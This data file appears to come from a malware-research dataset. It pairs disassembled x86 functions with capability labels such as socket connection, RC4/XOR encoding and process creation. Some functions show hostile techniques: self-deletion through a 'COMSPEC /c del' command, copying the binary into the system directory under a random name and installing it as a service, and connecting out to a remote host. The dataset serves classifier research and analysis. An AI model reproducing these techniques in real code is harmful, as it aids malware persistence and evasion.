joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e3c9
Capabilities:
Create thread

Disassembly:
push 0x1c
mov eax, 0x457bd6
call fcn.0043dfc3
push str.StartServer...
lea ecx, [ebp - 0x14]
call fcn.0040215a
xor ebx, ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push 2
mov dword [ebp - 4], ebx
call fcn.0040ed4d
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.004025dc
push 0xc
pop edi
push edi
lea eax, [ebp - 0x28]
push ebx
push eax
mov dword [ebp - 0x14], ebx
call fcn.0043c590
add esp, 0xc
push 0x461e28
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], ebx
call fcn.0040215a
xor edi, edi
inc edi
mov dword [ebp - 4], edi
call fcn.0042556a
test eax, eax
je 0x40e448
push str.S:_ML__NW___LW_
lea ecx, [ebp - 0x10]
call fcn.00408e18
lea eax, [ebp - 0x28]
test eax, eax
jne 0x40e462
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004025dc
xor edi, edi
jmp 0x40e485
push ebx
lea eax, [ebp - 0x24]
push eax
push edi
push dword [ebp - 0x10]
call fcn.004527a4
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov edi, eax
call fcn.004025dc
cmp edi, ebx
jne 0x40e4b5
push str.Create_DACL_failed___using_default_security
lea ecx, [ebp - 0x10]
call fcn.0040215a
push 2
pop eax
push ebx
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 4], eax
call fcn.0040ed4d
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.004025dc
mov eax, dword [esi + 0x14]
neg edi
sbb edi, edi
lea ecx, [ebp - 0x28]
and edi, ecx
push edi
push ebx
push 4
pop edi
push edi
push edi
push 0xff
push 7
push 3
push eax
call dword [0x459368]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x40e536
lea edi, [esi + 4]
mov dword [edi], eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push edi
push 0x40d975
push ebx
push ebx
mov dword [ebp - 0x1c], ebx
call fcn.0043cc4f
add esp, 0x18
mov dword [esi + 0xc], eax
cmp eax, 0xffffffff
jne 0x40e52d
push dword [esi + 8]
mov dword [ebp - 0x14], ebx
mov dword [edi], ebx
call dword [0x4593b4]
or dword [esi + 8], 0xffffffff
push str._beginthreadex_failed_in_StartServer
lea ecx, [ebp - 0x10]
call fcn.0040215a
mov dword [ebp - 4], 3
jmp 0x40e546
mov dword [ebp - 0x14], 1
jmp 0x40e564
push str.Create_ARM_Server_failed
lea ecx, [ebp - 0x10]
call fcn.0040215a
mov dword [ebp - 4], edi
push ebx
lea eax, [ebp - 0x10]
push eax
push 2
call fcn.0040ed4d
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.004025dc
cmp dword [ebp - 0x24], ebx
je 0x40e572
push dword [ebp - 0x24]
call dword [0x459378]
cmp dword [ebp - 0x14], ebx
je 0x40e5d6
push str.ARM_Server_started
lea ecx, [ebp - 0x10]
call fcn.0040215a
push ebx
lea eax, [ebp - 0x10]
push eax
push 2
mov dword [ebp - 4], 5
call fcn.0040ed4d
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.004025dc
push str.Listener
lea ecx, [ebp - 0x18]
call fcn.0040215a
lea eax, [ebp - 0x18]
push eax
push 0x48e460
mov dword [ebp - 4], 6
call fcn.00405ea6
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.004025dc
mov eax, dword [ebp - 0x14]
call fcn.0043e09b
ret
Function at 0x410f46
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
sub esp, 0xc
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x410f5d
leave
ret
or dword [ebp - 4], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 8], ecx
lea edi, [eax + esi]
jmp 0x410f7c
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x410f81
inc edi
cmp edi, dword [ebp - 8]
jb 0x410f73
mov eax, edi
sub eax, esi
cmp edi, dword [ebp - 8]
jae 0x411070
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, 3
jbe 0x411003
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp - 4], eax
test cl, cl
je 0x410fad
cmp cl, 0xff
jne 0x411032
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
sub esi, eax
sub esi, 5
mov ebx, esi
mov dword [ebp - 0xc], ebx
test edx, edx
je 0x411043
movzx esi, byte [edx + 0x462bc0]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
shr ebx, cl
test bl, bl
je 0x410ff3
cmp bl, 0xff
jne 0x411040
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, dword [ebp - 0xc]
jmp 0x410fcb
dec ecx
shl edx, cl
and edx, 7
je 0x410f9a
movzx ecx, byte [edx + 0x462bc0]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0x462bb8], 0
mov cl, byte [ebx + 4]
je 0x41102f
test cl, cl
je 0x41102f
cmp cl, 0xff
jne 0x410f9a
mov dword [ebp - 4], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x410f6e
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x410f6e
mov esi, eax
sub esi, dword [ebp - 4]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0xc]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret
Function at 0x402650
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x4026a8
cmp byte [esi + ebx - 1], 0xa
je 0x40267c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4040f8], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x403080
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x40310b
cmp ax, 9
je 0x4030f8
cmp ax, 0x20
je 0x4030f8
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x403160
cmp ax, 0x22
je 0x403170
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x40310b
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4030b0
test edi, 1
jne 0x4030b0
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4030f8
cmp ax, 0x20
je 0x4030f8
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x403188
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x4030cb
and dword [ebp - 0x54], 1
jne 0x4030c4
xor edi, 1
jmp 0x4030cb
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x403124

Function at 0x4031a0
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop
Function at 0x401030
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x407554]
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x88]
test eax, eax
je 0x40118a
mov dword [0x407554], esi
mov eax, dword [ebp + 0x8c]
dec eax
cmp eax, 0x21
ja case.0x40106a.16
xor ecx, ecx
mov cl, byte [eax + 0x4011d0]
jmp dword [ecx*4 + 0x401190]
mov esi, 0x403240
jmp case.0x40106a.16
mov esi, 0x403370
jmp case.0x40106a.16
mov esi, 0x4034a0
jmp case.0x40106a.16
mov esi, 0x403120
jmp case.0x40106a.16
mov esi, 0x403500
jmp case.0x40106a.16
cmp dword [0x407438], 1
jne case.0x40106a.2
mov esi, 0x4048b0
jmp case.0x40106a.16
mov esi, 0x403010
jmp case.0x40106a.16
mov eax, dword [0x407438]
mov esi, 0x404dd0
cmp eax, 1
je 0x401156
mov esi, 0x403010
jmp 0x401156
mov eax, dword [0x407438]
mov esi, 0x405170
cmp eax, 1
je 0x401156
mov esi, 0x403010
jmp 0x401156
mov eax, dword [0x407438]
mov esi, 0x404bc0
cmp eax, 1
je 0x401156
mov esi, 0x403010
jmp 0x401156
mov eax, dword [0x407438]
mov esi, 0x4048b0
cmp eax, 1
je 0x401156
jmp 0x401151
mov eax, dword [0x407438]
mov esi, 0x404dd0
cmp eax, 1
je 0x401156
jmp 0x401151
mov edx, dword [0x407438]
mov esi, 0x403240
dec edx
neg edx
sbb edx, edx
and edx, 0xffffffd4
add edx, 0x40
add edi, edx
jmp case.0x40106a.16
mov eax, dword [0x407438]
mov esi, 0x404bc0
cmp eax, 1
je 0x401156
mov esi, 0x403240
add edi, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test edi, edi
jbe 0x401173
push 0
push 0
push ebp
push esi
push 0
push 0
call ebx
dec edi
jne 0x401164
mov eax, dword [ebp + 0x84]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x401200
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x407554]
push ebp
push esi
push edi
mov edi, dword [esp + 0x10]
xor ebp, ebp
xor esi, esi
mov ecx, dword [edi + 0x108]
test eax, eax
je 0x4012c9
mov dword [0x407554], esi
mov eax, dword [edi + 0x114]
add eax, 0xfffffffb
cmp eax, 0x1c
ja case.0x40123a.11
xor edx, edx
mov dl, byte [eax + 0x4012ec]
jmp dword [edx*4 + 0x4012d0]
mov esi, dword [edi + 0x10c]
mov ebp, 0x403590
dec esi
neg esi
sbb esi, esi
not esi
and esi, 0x404570
jmp case.0x40123a.11
mov ebp, 0x403590
jmp case.0x40123a.11
mov ebp, 0x404570
jmp case.0x40123a.11
mov ebp, 0x403690
jmp case.0x40123a.11
mov ebp, 0x4047c0
jmp case.0x40123a.11
mov ebp, 0x4037a0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test ecx, ecx
jbe 0x4012b2
mov dword [esp + 0x14], ecx
test esi, esi
je 0x40129b
push 0
push 0
push edi
push esi
push 0
push 0
call ebx
push 0
push 0
push edi
push ebp
push 0
push 0
call ebx
mov eax, dword [esp + 0x14]
dec eax
mov dword [esp + 0x14], eax
jne 0x40128b
mov eax, dword [edi + 0x104]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x401420
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406180
push 0x405470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa88
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x900], bl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x984], bl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x983]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x880], bl
mov ecx, 0x25
xor eax, eax
lea edi, [ebp - 0x87f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x4071b4
push str._s_rand_c_c_c_c_
lea eax, [ebp - 0x880]
push eax
call dword [0x407d00]
push 0x7d0
lea ecx, [ebp - 0x7e8]
push ecx
lea edx, [ebp - 0x880]
push edx
call fcn.00401310
add esp, 0x28
mov esi, eax
mov dword [ebp - 0x904], esi
push 0x407334
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4015ee
mov byte [ebp - 0xa98], bl
mov byte [ebp - 0xa18], bl
push 0x3a
push esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrA]
call edi
mov ecx, 1
sub ecx, esi
add eax, ecx
push eax
push esi
lea edx, [ebp - 0x900]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x3a
push esi
call edi
inc eax
mov dword [ebp - 0x904], eax
push eax
lea eax, [ebp - 0x984]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov word [ebp - 0x998], 2
lea ecx, [ebp - 0x984]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x996], ax
lea edx, [ebp - 0x900]
push edx
call fcn.00402f10
add esp, 4
mov dword [ebp - 0x994], eax
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x988], esi
push 0x10
lea eax, [ebp - 0x998]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
or edi, 0xffffffff
cmp eax, edi
jne 0x4015cf
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4015f1
mov dword [ebp - 4], edi
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or edi, 0xffffffff
mov dword [ebp - 4], edi
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x104
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
test edi, edi
jne 0x401693
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
push ebx
mov ebx, dword [esp + 0x114]
push ebp
mov ebp, dword [esp + 0x11c]
mov eax, dword [0x407fc8]
push 0
mov dword [esp + 0x18], eax
push 0
lea ecx, [esp + 0x18]
push 0
lea eax, [ebx + 1]
push ecx
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x401702
test eax, eax
je 0x4016a3
lea edx, [esp + 0x10]
push edx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4016a3
mov eax, edi
push 0
sub eax, esi
lea ecx, [esi + ebp]
push eax
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401702
cmp eax, 0xffffffff
je 0x401702
add esi, eax
cmp esi, edi
jb 0x4016a3
xor eax, eax
pop ebp
cmp esi, edi
pop ebx
pop edi
pop esi
sete al
add esp, 0x104
ret

Function at 0x401dd0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x401dfc
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x401df0
pop esi
ret
Function at 0x401e00
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401f6d
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x401f6d
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401f6d
lea ecx, [esp + 0x168]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401f5f
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x402060
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.MediaCenterplf
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push connect
call dword [0x407ce4]
test eax, eax
je 0x4020b5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x407ce0]
test eax, eax
je 0x402101
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x407cb4]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x407cb4]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402128
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402155
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x402179
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40219b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4021cd
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x4021fd
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402236
push str.MediaCenterplf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.MediaCenterplf
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x402257
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x402610
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406190
push 0x405470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x40275b
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00402ef0
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [0x407d00]
add esp, 0x20
push 0x407420
lea edx, [ebp - 0x220]
push edx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call edi
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x220]
push ecx
call edi
push esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x407ff0], 1
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [0x407cd8]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
test ebx, ebx
je 0x40285f
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 0
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [0x407cdc]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
jne 0x4027f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x4027f5
push 0xf01ff
push edi
push ebx
call dword [0x407cd4]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
je 0x40285f
push 0
push 0
push esi
call dword [0x407cb8]
push 0
push 0
push esi
call dword [0x407cb8]
test eax, eax
je 0x40285f
push str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push connect
call dword [0x407cbc]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x224]
push eax
call dword [0x407cc0]
mov dword [ebp - 4], 0xffffffff
call fcn.00402888
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret